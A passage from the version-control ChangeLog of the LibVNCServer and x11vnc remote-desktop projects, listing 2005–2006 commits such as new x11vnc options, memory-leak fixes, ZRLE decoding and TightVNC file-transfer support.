5808	x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c:  x11vnc: more tweaks to -8to24 XGETIMAGE_8TO24
5809
58102006-01-15  runge <runge>
5811
5812	* ChangeLog, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog,
5813	x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c,
5814	x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h,
5815	x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc,
5816	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c,
5817	x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
5818	x11vnc/x11vnc_defs.c:  x11vnc: add -8to24 option for some multi-depth displays.
5819
58202006-01-12  runge <runge>
5821
5822	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
5823	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.h: configure.ac:
5824	add switches for most X extensions.
5825
58262006-01-11  runge <runge>
5827
5828	* libvncserver/main.c, prepare_x11vnc_dist.sh, x11vnc/README,
5829	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: logMutex needs to be
5830	initialized too; in rfbDefaultLog.
5831
58322006-01-11  runge <runge>
5833
5834	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
5835	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/keyboard.c,
5836	x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c,
5837	x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1,
5838	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5839	x11vnc/xrecord.c:  x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug,
5840	 fix 64bit bug for -solid.
5841
58422006-01-10  dscho <dscho>
5843
5844	* ChangeLog, libvncserver/main.c, libvncserver/rfbserver.c: 
5845	rfbProcessEvents() has to iterate also over clients with sock < 0 to
5846	close them
5847
58482006-01-09  runge <runge>
5849
5850	* ChangeLog, examples/pnmshow24.c, x11vnc/ChangeLog,
5851	x11vnc/Makefile.am, x11vnc/README, x11vnc/allowed_input_t.h,
5852	x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h,
5853	x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c,
5854	x11vnc/cursor.h, x11vnc/enums.h, x11vnc/gui.c, x11vnc/gui.h,
5855	x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, x11vnc/inet.h,
5856	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c,
5857	x11vnc/options.h, x11vnc/params.h, x11vnc/pointer.c,
5858	x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, x11vnc/remote.c,
5859	x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c,
5860	x11vnc/screen.h, x11vnc/scrollevent_t.h, x11vnc/selection.c,
5861	x11vnc/selection.h, x11vnc/solid.c, x11vnc/solid.h,
5862	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/user.h,
5863	x11vnc/userinput.c, x11vnc/userinput.h, x11vnc/util.c,
5864	x11vnc/util.h, x11vnc/win_utils.c, x11vnc/win_utils.h,
5865	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
5866	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c,
5867	x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xevents.h,
5868	x11vnc/xinerama.c, x11vnc/xinerama.h, x11vnc/xkb_bell.c,
5869	x11vnc/xkb_bell.h, x11vnc/xrandr.c, x11vnc/xrandr.h,
5870	x11vnc/xrecord.c, x11vnc/xrecord.h, x11vnc/xwrappers.c,
5871	x11vnc/xwrappers.h:  x11vnc: the big split.
5872
58732006-01-08  runge <runge>
5874
5875	* ChangeLog, examples/pnmshow24.c, libvncclient/vncviewer.c,
5876	libvncserver/main.c:  fix client non-jpeg/libz builds
5877
58782006-01-06  runge <runge>
5879
5880	* ChangeLog, libvncserver/main.c:  rfbRegisterProtocolExtension extMutex was never initialized.
5881
58822005-12-24  runge <runge>
5883
5884	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1,
5885	x11vnc/x11vnc.c:  x11vnc: enhance -passwdfile features, filetransfer on by default.
5886
58872005-12-22  dscho <dscho>
5888
5889	* libvncserver/rfbserver.c: make compile again with pthreads; fix
5890	off-by-one error
5891
58922005-12-19  dscho <dscho>
5893
5894	* AUTHORS, ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
5895	libvncserver/rfbserver.c, rfb/rfb.h: introduce -deferptrupdate
5896	(thanks Dave)
5897
58982005-12-19  dscho <dscho>
5899
5900	* client_examples/SDLvncviewer.c, libvncclient/sockets.c,
5901	libvncclient/vncviewer.c, libvncserver/main.c,
5902	libvncserver/rfbserver.c, libvncserver/sockets.c: assorted fixes for
5903	MinGW32
5904
59052005-12-09  dscho <dscho>
5906
5907	* ChangeLog, configure.ac, libvncclient/sockets.c,
5908	libvncserver/sockets.c: work around write() returning ENOENT on
5909	Solaris 2.7
5910
59112005-12-09  dscho <dscho>
5912
5913	* examples/mac.c: previous patch turned compile warning in a compile
5914	error; fix that ;-)
5915
59162005-12-08  dscho <dscho>
5917
5918	* examples/mac.c: fix compile warnings
5919
59202005-12-07  dscho <dscho>
5921
5922	* libvncclient/vncviewer.c: one more memory leak
5923
59242005-12-07  dscho <dscho>
5925
5926	* ChangeLog, libvncclient/vncviewer.c, rfb/rfbclient.h: plug memory
5927	leaks
5928
59292005-12-07  dscho <dscho>
5930
5931	* client_examples/SDLvncviewer.c: translate keys based on unicode
5932	(much more reliable than sym)
5933
59342005-11-28  runge <runge>
5935
5936	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
5937	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: add -loop option.
5938
59392005-11-25  runge <runge>
5940
5941	* ChangeLog, configure.ac, libvncclient/rfbproto.c,
5942	libvncclient/tight.c, libvncclient/vncviewer.c,
5943	libvncserver/Makefile.am, libvncserver/auth.c, libvncserver/main.c,
5944	libvncserver/private.h, libvncserver/rfbserver.c,
5945	libvncserver/tightvnc-filetransfer/filelistinfo.h,
5946	libvncserver/tightvnc-filetransfer/filetransfermsg.c,
5947	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
5948	libvncserver/tightvnc-filetransfer/rfbtightserver.c,
5949	rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/ChangeLog,
5950	x11vnc/misc/x11vnc_pw, x11vnc/x11vnc.c:  fix deadlock from rfbReleaseExtensionIterator(), fix no
5951	 libz/libjpeg builds, disable tightvnc-filetransfer if no
5952	 libpthread, add --without-pthread option, rm // comments, set
5953	 NAME_MAX if not defined, x11vnc: throttle load if fb update
5954	 requests not taking place.
5955
59562005-10-23  runge <runge>
5957
5958	* configure.ac, x11vnc/README:  configure.ac: test ... == ... not allowed on all unix.
5959
59602005-10-23  runge <runge>
5961
5962	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
5963	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -filexfer, -slow_fb, -blackout noptr,...
5964
59652005-10-07  dscho <dscho>
5966
5967	* TODO: update TODO
5968
59692005-10-07  dscho <dscho>
5970
5971	* examples/backchannel.c, libvncserver/rfbserver.c, rfb/rfb.h: The
5972	PseudoEncoding extension code was getting silly: If the client asked for an encoding, and no enabled extension
5973	handled it, LibVNCServer would walk through all extensions, and if
5974	they promised to handle the encoding, execute the extension's
5975	newClient() if it was not NULL.  However, if newClient is not NULL, it will be called when a client
5976	connects, and if it returns TRUE, the extension will be enabled.
5977	Since all the state of the extension should be in the client data,
5978	there is no good reason why newClient should return FALSE the first
5979	time (thus not enabling the extension), but TRUE when called just
5980	before calling enablePseudoEncoding().  So in effect, the extension got enabled all the time, even if that
5981	was not necessary.  The resolution is to pass a void** to enablePseudoEncoding. This has
5982	the further advantage that enablePseudoEncoding can remalloc() or
5983	free() the data without problems. Though keep in mind that if
5984	enablePseudoEncoding() is called on a not-yet-enabled extension, the
5985	passed data points to NULL.
5986
59872005-10-06  dscho <dscho>
5988
5989	* ChangeLog: update ChangeLog for today
5990
59912005-10-06  dscho <dscho>
5992
5993	* client_examples/Makefile.am, client_examples/SDLvncviewer.c,
5994	client_examples/backchannel.c, libvncclient/rfbproto.c,
5995	rfb/rfbclient.h: add an extension mechanism for LibVNCClient, modify
5996	the client data handling so that more than one data structure can be
5997	attached, and add an example to speak the client part of the back
5998	channel.
5999
60002005-10-06  dscho <dscho>
6001
6002	* examples/Makefile.am, examples/backchannel.c: add BackChannel
6003	extension example
6004
60052005-10-06  dscho <dscho>
6006
6007	* libvncclient/zrle.c: fix warning
6008
60092005-10-06  dscho <dscho>
6010
6011	* configure.ac, examples/mac.c, libvncserver/main.c,
6012	libvncserver/rfbserver.c, libvncserver/stats.c,
6013	libvncserver/tightvnc-filetransfer/filetransfermsg.c, rfb/rfb.h,
6014	rfb/rfbproto.h: kill BackChannel and CustomClientMessage: the new
6015	extension technique makes these hooks obsolete
6016
60172005-10-06  dscho <dscho>
6018
6019	* libvncserver/rfbserver.c,
6020	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 
6021	provide a list of the pseudo encodings understood by the extension
6022
60232005-10-06  dscho <dscho>
6024
6025	* contrib/Makefile.am, x11vnc/Makefile.am: DEFINES -> AM_CFLAGS
6026
60272005-10-06  dscho <dscho>
6028
6029	* client_examples/Makefile.am, examples/Makefile.am,
6030	libvncclient/Makefile.am,
6031	libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am: do
6032	it right: it is not DEFINES, but AM_CFLAGS
6033
60342005-10-03  dscho <dscho>
6035
6036	* ChangeLog, libvncserver/rfbserver.c,
6037	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add
6038	enablePseudoEncoding() to rfbProtocolExtension
6039
60402005-09-29  dscho <dscho>
6041
6042	* TODO, index.html: more TODOs, and an update to the website
6043
60442005-09-28  dscho <dscho>
6045
6046	* AUTHORS, ChangeLog, configure.ac, examples/.cvsignore,
6047	examples/Makefile.am, examples/filetransfer.c,
6048	libvncclient/.cvsignore, libvncserver/.cvsignore,
6049	libvncserver/Makefile.am, libvncserver/auth.c,
6050	libvncserver/cargs.c, libvncserver/main.c,
6051	libvncserver/rfbserver.c, libvncserver/sockets.c,
6052	libvncserver/tightvnc-filetransfer/.cvsignore,
6053	libvncserver/tightvnc-filetransfer/Makefile.am,
6054	libvncserver/tightvnc-filetransfer/filelistinfo.c,
6055	libvncserver/tightvnc-filetransfer/filelistinfo.h,
6056	libvncserver/tightvnc-filetransfer/filetransfermsg.c,
6057	libvncserver/tightvnc-filetransfer/filetransfermsg.h,
6058	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
6059	libvncserver/tightvnc-filetransfer/handlefiletransferrequest.h,
6060	libvncserver/tightvnc-filetransfer/rfbtightproto.h,
6061	libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: This
6062	monster commit contains support for TightVNC's file transfer
6063	protocol.  Thank you very much, Rohit!
6064
60652005-09-27  dscho <dscho>
6066
6067	* ChangeLog, libvncserver/cargs.c, libvncserver/main.c,
6068	libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfb.h: 
6069	Introduce generic protocol extension method. Deprecate the
6070	processCustomClientMessage() method.
6071
60722005-09-27  dscho <dscho>
6073
6074	* libvncserver/auth.c, libvncserver/main.c, rfb/rfb.h: Security is
6075	global. This was a misguided attempt to evade a global list.  I
6076	eventually saw the light and went with Rohit�s original approach.
6077
60782005-09-27  dscho <dscho>
6079
6080	* client_examples/Makefile.am, client_examples/vnc2mpg.c: support
6081	new ffmpeg version
6082
60832005-09-26  dscho <dscho>
6084
6085	* ChangeLog, libvncserver/auth.c, libvncserver/main.c,
6086	libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: support VNC
6087	protocol version 3.7
6088
60892005-08-22  dscho <dscho>
6090
6091	* prepare_x11vnc_dist.sh: for x11vnc standalone package, adaptions
6092	were needed after changing LibVNCServer.spec.in
6093
60942005-08-21  dscho <dscho>
6095
6096	* AUTHORS, ChangeLog, LibVNCServer.spec.in: split rpm into three
6097	packages: the library, -devel (headers), and x11vnc
6098
60992005-07-18  runge <runge>
6100
6101	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6102	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more gui fixes, gui requests via client_sock,
6103	 PASSWD_REQUIRED build opt.
6104
61052005-07-13  runge <runge>
6106
6107	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
6108	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: setup for new release 0.7.3 while I remember how..
6109
61102005-07-13  runge <runge>
6111
6112	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6113	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: tweaks for release, fix queue buildup under -viewonly.
6114
61152005-07-11  runge <runge>
6116
6117	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6118	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more improvements to gui, scary nopassword warning msg.
6119
61202005-07-09  runge <runge>
6121
6122	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6123	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -grab_buster for XGrabServer deadlock; fix scrolls and
6124	 copyrect for -clip and -id
6125
61262005-07-07  runge <runge>
6127
6128	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6129	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -gui tray now embeds in systray; more improvements to gui.
6130
61312005-07-02  runge <runge>
6132
6133	* ChangeLog, libvncserver/httpd.c, x11vnc/ChangeLog, x11vnc/README,
6134	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6135	x11vnc/x11vnc.c:  x11vnc: -gui tray mode, httpd.c: check httpListenSock >= 0.
6136
61372005-06-28  dscho <dscho>
6138
6139	* ChangeLog, TODO, libvncclient/zrle.c: fix annoying zrle decoding
6140	bug
6141
61422005-06-27  runge <runge>
6143
6144	* ChangeLog, libvncserver/main.c:  main.c: fix screen->deferUpdateTime default.
6145
61462005-06-27  runge <runge>
6147
6148	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6149	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: track keycode state for heuristics, -sloppy_keys, -wmdt,
6150	 add -nodbg as option
6151
61522005-06-21  dscho <dscho>
6153
6154	* TODO: ZRLE has problems with RealVNC server. Look into it.
6155
61562005-06-21  runge <runge>
6157
6158	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: long info and tips when XOpenDisplay fails, reinstate "bad
6159	 desktop" for wireframe
6160
61612005-06-18  runge <runge>
6162
6163	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6164	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  configure.ac: HP-UX and OSF1 no -R, x11vnc: second round of
6165	 beta-testing fixes.
6166
61672005-06-14  runge <runge>
6168
6169	* ChangeLog, configure.ac, libvncserver/cursor.c, x11vnc/ChangeLog,
6170	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6171	x11vnc/x11vnc.c:  main.c: XReadScreen check, fix 64bit use of cursors, x11vnc: first
6172	 round of beta-testing fixes, RFE's.
6173
61742005-06-11  dscho <dscho>
6175
6176	* ChangeLog, configure.ac: no longer complain on Solaris about
6177	missing ar, which was not really missing
6178
61792005-06-06  dscho <dscho>
6180
6181	* rfb/rfbproto.h: add definitions from other VNC implementations
6182
61832005-06-06  dscho <dscho>
6184
6185	* TODO: more TODOs
6186
61872005-06-06  dscho <dscho>
6188
6189	* client_examples/Makefile.am, configure.ac: link to libmp3lame only
6190	if exists
6191
61922005-06-04  runge <runge>
6193
6194	* ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README,
6195	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6196	x11vnc/x11vnc.c:  main.c: no sraRgnSubstract for copyRect, scrolls for x11vnc -scale;
6197	 add -fixscreen
6198
61992005-05-31  runge <runge>
6200
6201	* ChangeLog, libvncserver/main.c, x11vnc/ChangeLog, x11vnc/README,
6202	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  main.c: fix copyRect for non-cursor-shape-aware clients.
6203
62042005-05-25  dscho <dscho>
6205
6206	* index.html: news
6207
62082005-05-25  runge <runge>
6209
6210	* ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog,
6211	x11vnc/README, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6212	x11vnc/x11vnc.c:  x11vnc: scrolling: grabserver, autorepeat throttling, mouse wheel,
6213	 fix onetile
6214
62152005-05-24  dscho <dscho>
6216
6217	* examples/.cvsignore: mac works!
6218
62192005-05-24  dscho <dscho>
6220
6221	* Makefile.am, configure.ac: make libvncserver-conf executable the
6222	autoconf way
6223
62242005-05-24  dscho <dscho>
6225
6226	* Makefile.am: "make t" now executes the tests
6227
62282005-05-24  dscho <dscho>
6229
6230	* libvncclient/Makefile.am: do distribute and depend on zrle.c
6231
62322005-05-24  dscho <dscho>
6233
6234	* TODO, libvncclient/rfbproto.c, libvncclient/tight.c,
6235	libvncclient/vncviewer.c, libvncclient/zlib.c, libvncclient/zrle.c,
6236	test/encodingstest.c: implement ZRLE decoding
6237
62382005-05-24  dscho <dscho>
6239
6240	* client_examples/SDLvncviewer.c: try 32 bit first
6241
62422005-05-24  dscho <dscho>
6243
6244	* examples/example.c, libvncserver/font.c: fix off by one bug
6245
62462005-05-23  dscho <dscho>
6247
6248	* libvncclient/tight.c, libvncclient/vncviewer.c: init a structure
6249	*before* using it...
6250
62512005-05-23  dscho <dscho>
6252
6253	* libvncclient/tight.c: remove wrong comment
6254
62552005-05-23  dscho <dscho>
6256
6257	* libvncclient/rfbproto.c, libvncclient/tight.c,
6258	libvncclient/vncviewer.c, libvncclient/zlib.c, rfb/rfbclient.h: make
6259	zlib and tight handling thread safe (static -> rfbClient)
6260
62612005-05-23  dscho <dscho>
6262
6263	* client_examples/vnc2mpg.c: work around bug in ffmpeg
6264
62652005-05-23  dscho <dscho>
6266
6267	* ChangeLog, configure.ac: simplify configure (do not check for
6268	malloc(0) bug)
6269
62702005-05-23  dscho <dscho>
6271
6272	* client_examples/vnc2mpg.c: fix compilation for
6273	LIBAVCODEC_BUILD==4754
6274
62752005-05-20  dscho <dscho>
6276
6277	* acinclude.m4: finally fix socklen_t problem
6278
62792005-05-18  dscho <dscho>
6280
6281	* acinclude.m4: fix socklen_t also for defines
6282
62832005-05-18  dscho <dscho>
6284
6285	* ChangeLog, acinclude.m4, rfb/rfb.h: fix compilation for systems
6286	without socklen_t
6287
62882005-05-18  dscho <dscho>
6289
6290	* libvncserver/main.c: fix off by one bug
6291
62922005-05-18  dscho <dscho>
6293
6294	* examples/vncev.c, libvncclient/listen.c, libvncclient/rfbproto.c,
6295	libvncclient/sockets.c, libvncclient/vncviewer.c,
6296	libvncserver/main.c, libvncserver/rfbserver.c,
6297	libvncserver/vncauth.c, rfb/rfb.h, test/copyrecttest.c,
6298	test/encodingstest.c, vncterm/VNCommand.c: hide strict ansi stuff if
6299	not explicitely turned on; actually use the socklen_t test from
6300	configure.ac
6301
63022005-05-18  runge <runge>
6303
6304	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6305	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more scrolling, -scr_term, -wait_ui, -nowait_bog
6306
63072005-05-17  dscho <dscho>
6308
6309	* libvncserver/Makefile.am: also distribute private.h...
6310
63112005-05-17  dscho <dscho>
6312
6313	* TODO: update TODOs
6314
63152005-05-16  dscho <dscho>
6316
6317	* libvncserver/rfbserver.c: fix SIGSEGV when client has incompatible
6318	protocol; release mutex before freeing it
6319
63202005-05-15  dscho <dscho>
6321
6322	* ChangeLog, VisualNaCro/configure.ac, VisualNaCro/default8x16.h,
6323	VisualNaCro/nacro.c, client_examples/SDLvncviewer.c,
6324	client_examples/ppmtest.c, contrib/zippy.c, examples/example.c,
6325	examples/fontsel.c, examples/pnmshow.c, examples/pnmshow24.c,
6326	examples/radon.h, examples/storepasswd.c, examples/vncev.c,
6327	libvncclient/listen.c, libvncclient/rfbproto.c,
6328	libvncclient/sockets.c, libvncclient/vncviewer.c,
6329	libvncserver/auth.c, libvncserver/cargs.c, libvncserver/corre.c,
6330	libvncserver/cursor.c, libvncserver/d3des.c, libvncserver/font.c,
6331	libvncserver/hextile.c, libvncserver/httpd.c, libvncserver/main.c,
6332	libvncserver/private.h, libvncserver/rfbregion.c,
6333	libvncserver/rfbserver.c, libvncserver/rre.c,
6334	libvncserver/selbox.c, libvncserver/sockets.c,
6335	libvncserver/tight.c, libvncserver/translate.c,
6336	libvncserver/vncauth.c, libvncserver/zlib.c, libvncserver/zrle.c,
6337	libvncserver/zrleencodetemplate.c, libvncserver/zrleoutstream.c,
6338	rfb/default8x16.h, rfb/rfb.h, rfb/rfbproto.h, test/copyrecttest.c,
6339	test/cursortest.c, test/encodingstest.c, vncterm/VNCommand.c,
6340	vncterm/VNConsole.c: ANSIfy, fix some warnings from Linus' sparse
6341
63422005-05-15  runge <runge>
6343
6344	* libvncserver/main.c, libvncserver/rfbserver.c:  libvncserver/{main.c,rfbserver.c}: fix a couple more CopyRect
6345	 memory leaks
6346
63472005-05-14  dscho <dscho>
6348
6349	* .cvsignore, examples/.cvsignore, test/.cvsignore,
6350	x11vnc/misc/.cvsignore: more files to ignore
6351
63522005-05-14  dscho <dscho>
6353
6354	* ChangeLog, examples/example.c, libvncserver/main.c,
6355	libvncserver/rfbserver.c: fix memory leaks detected using valgrind
6356
63572005-05-14  runge <runge>
6358
6359	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6360	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: more improvements to -scrollcopyrect and -xkb modes.
6361
63622005-05-07  dscho <dscho>
6363
6364	* ChangeLog, VisualNaCro/nacro.c, VisualNaCro/nacro.h,
6365	examples/example.c, examples/fontsel.c, libvncserver/httpd.c,
6366	libvncserver/main.c, libvncserver/rfbserver.c,
6367	libvncserver/sockets.c, rfb/rfb.h, test/cursortest.c,
6368	vncterm/LinuxVNC.c, vncterm/VNConsole.c, x11vnc/x11vnc.c: 
6369	socketInitDone -> socketState
6370
63712005-05-03  runge <runge>
6372
6373	* ChangeLog, configure.ac, libvncserver/main.c:  libvncserver/main.c: fix memory leak in
6374	 rfbDoCopyRect/rfbScheduleCopyRect; configure.ac tweaks.
6375
63762005-05-03  runge <runge>
6377
6378	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6379	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6380	x11vnc/x11vnc.c:  x11vnc: -scrollcopyrect/RECORD, etc. configure.ac: customizations
6381	 for x11vnc pkg
6382
63832005-04-27  dscho <dscho>
6384
6385	* ChangeLog, libvncserver/rfbserver.c: clear requested region after
6386	handling it
6387
63882005-04-19  runge <runge>
6389
6390	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/README,
6391	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6392	x11vnc/x11vnc.c:  x11vnc: -wireframe, -wirecopyrect, -privremote, -safer, -nocmd,
6393	 -unsafe, -noviewonly
6394
63952005-04-12  runge <runge>
6396
6397	* x11vnc/ChangeLog, x11vnc/misc/Makefile.am, x11vnc/misc/ranfb.pl:  x11vnc: add rawfb setup example misc/ranfb.pl
6398
63992005-04-11  runge <runge>
6400
6401	* x11vnc/ChangeLog, x11vnc/README, x11vnc/misc/slide.pl,
6402	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6403	x11vnc/x11vnc.c:  x11vnc: fix some -rawfb bugs, add setup:cmd
6404
64052005-04-10  runge <runge>
6406
6407	* ChangeLog, configure.ac, prepare_x11vnc_dist.sh,
6408	x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README,
6409	x11vnc/misc/Makefile.am, x11vnc/misc/README,
6410	x11vnc/misc/blockdpy.c, x11vnc/misc/dtVncPopup,
6411	x11vnc/misc/rx11vnc, x11vnc/misc/rx11vnc.pl, x11vnc/misc/shm_clear,
6412	x11vnc/misc/slide.pl, x11vnc/misc/vcinject.pl,
6413	x11vnc/misc/x11vnc_loop, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h,
6414	x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -rawfb, -pipeinput, -xtrap, -flag, ...
6415
64162005-04-04  runge <runge>
6417
6418	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6419	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6420	x11vnc/x11vnc.c:  x11vnc: use DEC-XTRAP on legacy X11R5, -shiftcmap, -http
6421
64222005-03-29  runge <runge>
6423
6424	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6425	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: fix event leaks, build-time customizations, -nolookup
6426
64272005-03-20  runge <runge>
6428
6429	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6430	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: scale cursors, speed up some scaling, alt arrows, -norepeat
6431	 N
6432
64332005-03-12  runge <runge>
6434
6435	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6436	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: X DAMAGE support, -clip WxH+X+Y, identd.
6437
64382005-03-09  dscho <dscho>
6439
6440	* test/encodingstest.c: fix compilation when no libz is available
6441
64422005-03-07  dscho <dscho>
6443
6444	* configure.ac, rfb/rfbproto.h: do the in_addr_t stuff correctly...
6445
64462005-03-07  dscho <dscho>
6447
6448	* configure.ac: check for in_addr_t
6449
64502005-03-06  dscho <dscho>
6451
6452	* client_examples/SDLvncviewer.c: fix for older SDL versions
6453
64542005-03-05  runge <runge>
6455
6456	* ChangeLog, Makefile.am, configure.ac, libvncserver/Makefile.am:  autoconf: rpm -> rpmbuild and echo -n -> printf
6457
64582005-03-05  runge <runge>
6459
6460	* ChangeLog, libvncclient/sockets.c, libvncserver/cargs.c,
6461	libvncserver/httpd.c, libvncserver/main.c, libvncserver/sockets.c,
6462	rfb/rfb.h, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6463	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  add '-listen ipaddr' option
6464
64652005-03-01  dscho <dscho>
6466
6467	* client_examples/ppmtest.c: do not crash when /tmp is not writable
6468
64692005-02-23  runge <runge>
6470
6471	* x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: final changes for 0.7.1 release.
6472
64732005-02-22  runge <runge>
6474
6475	* x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6476	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -nap is now the default, version str 0.7.1.
6477
64782005-02-14  runge <runge>
6479
6480	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6481	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc: -users lurk=, -solid for cde, -gui ez,.. beginner mode.
6482
64832005-02-11  runge <runge>
6484
6485	* ChangeLog, x11vnc/ChangeLog, x11vnc/README, x11vnc/tkx11vnc,
6486	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c:  x11vnc -input to fine tune allow user input.  per-client settings
6487	 -R
6488
64892005-02-09  runge <runge>
6490
6491	* ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README,
6492	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1,
6493	x11vnc/x11vnc.c:  x11vnc -users, fix -solid on gnome/kde, configure.ac pwd.h wait.h
6494	 and utmpx.h
6495
64962005-02-07  runge <runge>
6497
6498	* ChangeLog, prepare_x11vnc_dist.sh:  prepare_x11vnc_dist.sh: few tweaks for next release
6499
65002005-02-07  runge <runge>
6501
